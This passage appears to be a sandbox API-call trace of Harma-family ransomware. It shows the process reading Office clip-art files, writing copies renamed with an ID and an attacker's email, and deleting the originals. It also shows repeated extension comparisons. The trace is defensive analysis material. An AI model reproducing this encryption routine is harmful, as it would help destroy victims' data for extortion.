hFile=0x208, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x5c30, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x5c30, lpOverlapped=0x0) returned 1 [0166.777] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0166.777] WriteFile (in: hFile=0x208, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0166.777] SetEndOfFile (hFile=0x208) returned 1 [0166.777] CloseHandle (hObject=0x208) returned 1 [0166.777] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0166.777] SetEndOfFile (hFile=0x3a4) returned 1 [0166.780] CloseHandle (hObject=0x3a4) returned 1 [0166.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.780] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf")) returned 1 [0166.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0166.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0166.792] lstrlenW (lpString=".doc") returned 4 [0166.792] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.792] lstrlenW (lpString=".docx") returned 5 [0166.792] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0166.792] lstrlenW (lpString=".pdf") returned 4 [0166.792] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.792] lstrlenW (lpString=".xls") returned 4 [0166.792] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.792] lstrlenW (lpString=".xlsx") returned 5 [0166.792] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0166.792] lstrlenW (lpString=".ppt") returned 4 [0166.793] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0166.793] lstrlenW (lpString=".zip") returned 4 [0166.793] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.793] lstrlenW (lpString=".rar") returned 4 [0166.793] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.793] lstrlenW (lpString=".bz2") returned 4 [0166.793] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.793] lstrlenW (lpString=".7z") returned 3 [0166.793] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0166.793] lstrlenW (lpString=".dbf") returned 4 [0166.793] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0166.793] lstrlenW (lpString=".1cd") returned 4 [0166.793] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0166.793] lstrlenW (lpString=".jpg") returned 4 [0166.793] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0166.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0166.793] lstrlenW (lpString=".doc") returned 4 [0166.793] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.793] lstrlenW (lpString=".docx") returned 5 [0166.793] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0166.793] lstrlenW (lpString=".pdf") returned 4 [0166.793] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.794] lstrlenW (lpString=".xls") returned 4 [0166.794] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.794] lstrlenW (lpString=".xlsx") returned 5 [0166.794] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0166.794] lstrlenW (lpString=".ppt") returned 4 [0166.794] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0166.794] lstrlenW (lpString=".zip") returned 4 [0166.794] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.794] lstrlenW (lpString=".rar") returned 4 [0166.794] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.794] lstrlenW (lpString=".bz2") returned 4 [0166.794] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.794] lstrlenW (lpString=".7z") returned 3 [0166.794] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0166.794] lstrlenW (lpString=".dbf") returned 4 [0166.794] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0166.794] lstrlenW (lpString=".1cd") returned 4 [0166.794] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0166.794] lstrlenW (lpString=".jpg") returned 4 [0166.794] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.795] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0166.795] lstrlenW (lpString="J0105230.WMF") returned 12 [0166.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0166.796] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=5172) returned 1 [0166.796] CloseHandle (hObject=0x3a4) returned 1 [0166.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf")) returned 0x20 [0166.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0166.796] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0166.796] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0166.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0166.798] GetLastError () returned 0x0 [0166.798] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x1434, lpOverlapped=0x0) returned 1 [0166.800] WriteFile (in: hFile=0x208, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x1440, lpOverlapped=0x0) returned 1 [0166.801] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0166.801] WriteFile (in: hFile=0x208, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0166.801] SetEndOfFile (hFile=0x208) returned 1 [0166.801] CloseHandle (hObject=0x208) returned 1 [0166.801] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0166.801] SetEndOfFile (hFile=0x3a4) returned 1 [0166.804] CloseHandle (hObject=0x3a4) returned 1 [0166.804] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.804] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf")) returned 1 [0166.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0166.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0166.805] lstrlenW (lpString=".doc") returned 4 [0166.805] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.805] lstrlenW (lpString=".docx") returned 5 [0166.805] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0166.805] lstrlenW (lpString=".pdf") returned 4 [0166.805] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.805] lstrlenW (lpString=".xls") returned 4 [0166.805] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.805] lstrlenW (lpString=".xlsx") returned 5 [0166.805] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0166.805] lstrlenW (lpString=".ppt") returned 4 [0166.805] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0166.805] lstrlenW (lpString=".zip") returned 4 [0166.805] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.805] lstrlenW (lpString=".rar") returned 4 [0166.805] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.805] lstrlenW (lpString=".bz2") returned 4 [0166.806] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.806] lstrlenW (lpString=".7z") returned 3 [0166.806] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0166.806] lstrlenW (lpString=".dbf") returned 4 [0166.806] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0166.806] lstrlenW (lpString=".1cd") returned 4 [0166.806] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0166.806] lstrlenW (lpString=".jpg") returned 4 [0166.806] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0166.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0166.806] lstrlenW (lpString=".doc") returned 4 [0166.806] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.806] lstrlenW (lpString=".docx") returned 5 [0166.806] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0166.806] lstrlenW (lpString=".pdf") returned 4 [0166.806] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.806] lstrlenW (lpString=".xls") returned 4 [0166.806] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.806] lstrlenW (lpString=".xlsx") returned 5 [0166.806] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0166.806] lstrlenW (lpString=".ppt") returned 4 [0166.806] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0166.807] lstrlenW (lpString=".zip") returned 4 [0166.807] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.807] lstrlenW (lpString=".rar") returned 4 [0166.807] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.807] lstrlenW (lpString=".bz2") returned 4 [0166.807] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.807] lstrlenW (lpString=".7z") returned 3 [0166.807] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0166.807] lstrlenW (lpString=".dbf") returned 4 [0166.807] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0166.807] lstrlenW (lpString=".1cd") returned 4 [0166.807] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0166.807] lstrlenW (lpString=".jpg") returned 4 [0166.807] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.807] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0166.807] lstrlenW (lpString="J0105232.WMF") returned 12 [0166.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0166.809] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=5632) returned 1 [0166.809] CloseHandle (hObject=0x3a4) returned 1 [0166.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf")) returned 0x20 [0166.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0166.810] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0166.810] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0166.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0166.811] GetLastError () returned 0x0 [0166.811] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x1600, lpOverlapped=0x0) returned 1 [0166.863] WriteFile (in: hFile=0x208, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1610, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x1610, lpOverlapped=0x0) returned 1 [0166.864] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0166.864] WriteFile (in: hFile=0x208, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0166.864] SetEndOfFile (hFile=0x208) returned 1 [0166.865] CloseHandle (hObject=0x208) returned 1 [0166.865] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0166.865] SetEndOfFile (hFile=0x3a4) returned 1 [0166.867] CloseHandle (hObject=0x3a4) returned 1 [0166.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.986] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf")) returned 1 [0167.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0167.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0167.003] lstrlenW (lpString=".doc") returned 4 [0167.003] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.003] lstrlenW (lpString=".docx") returned 5 [0167.003] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.003] lstrlenW (lpString=".pdf") returned 4 [0167.003] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.003] lstrlenW (lpString=".xls") returned 4 [0167.003] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.003] lstrlenW (lpString=".xlsx") returned 5 [0167.003] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.003] lstrlenW (lpString=".ppt") returned 4 [0167.003] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0167.003] lstrlenW (lpString=".zip") returned 4 [0167.003] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.003] lstrlenW (lpString=".rar") returned 4 [0167.003] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.004] lstrlenW (lpString=".bz2") returned 4 [0167.004] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.004] lstrlenW (lpString=".7z") returned 3 [0167.004] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0167.004] lstrlenW (lpString=".dbf") returned 4 [0167.004] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0167.004] lstrlenW (lpString=".1cd") returned 4 [0167.004] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0167.004] lstrlenW (lpString=".jpg") returned 4 [0167.004] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0167.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0167.004] lstrlenW (lpString=".doc") returned 4 [0167.004] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.004] lstrlenW (lpString=".docx") returned 5 [0167.004] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.004] lstrlenW (lpString=".pdf") returned 4 [0167.004] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.004] lstrlenW (lpString=".xls") returned 4 [0167.004] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.004] lstrlenW (lpString=".xlsx") returned 5 [0167.004] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.004] lstrlenW (lpString=".ppt") returned 4 [0167.004] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0167.004] lstrlenW (lpString=".zip") returned 4 [0167.004] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.004] lstrlenW (lpString=".rar") returned 4 [0167.004] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.005] lstrlenW (lpString=".bz2") returned 4 [0167.005] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.005] lstrlenW (lpString=".7z") returned 3 [0167.005] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0167.005] lstrlenW (lpString=".dbf") returned 4 [0167.005] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0167.005] lstrlenW (lpString=".1cd") returned 4 [0167.005] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0167.005] lstrlenW (lpString=".jpg") returned 4 [0167.005] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.005] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0167.005] lstrlenW (lpString="J0105238.WMF") returned 12 [0167.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0167.009] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=17172) returned 1 [0167.009] CloseHandle (hObject=0x348) returned 1 [0167.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf")) returned 0x20 [0167.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0167.010] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0167.010] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0167.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0167.011] GetLastError () returned 0x0 [0167.011] ReadFile (in: hFile=0x348, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x4314, lpOverlapped=0x0) returned 1 [0167.068] WriteFile (in: hFile=0x330, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x4320, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x4320, lpOverlapped=0x0) returned 1 [0167.069] ReadFile (in: hFile=0x348, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0167.069] WriteFile (in: hFile=0x330, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0167.070] SetEndOfFile (hFile=0x330) returned 1 [0167.070] CloseHandle (hObject=0x330) returned 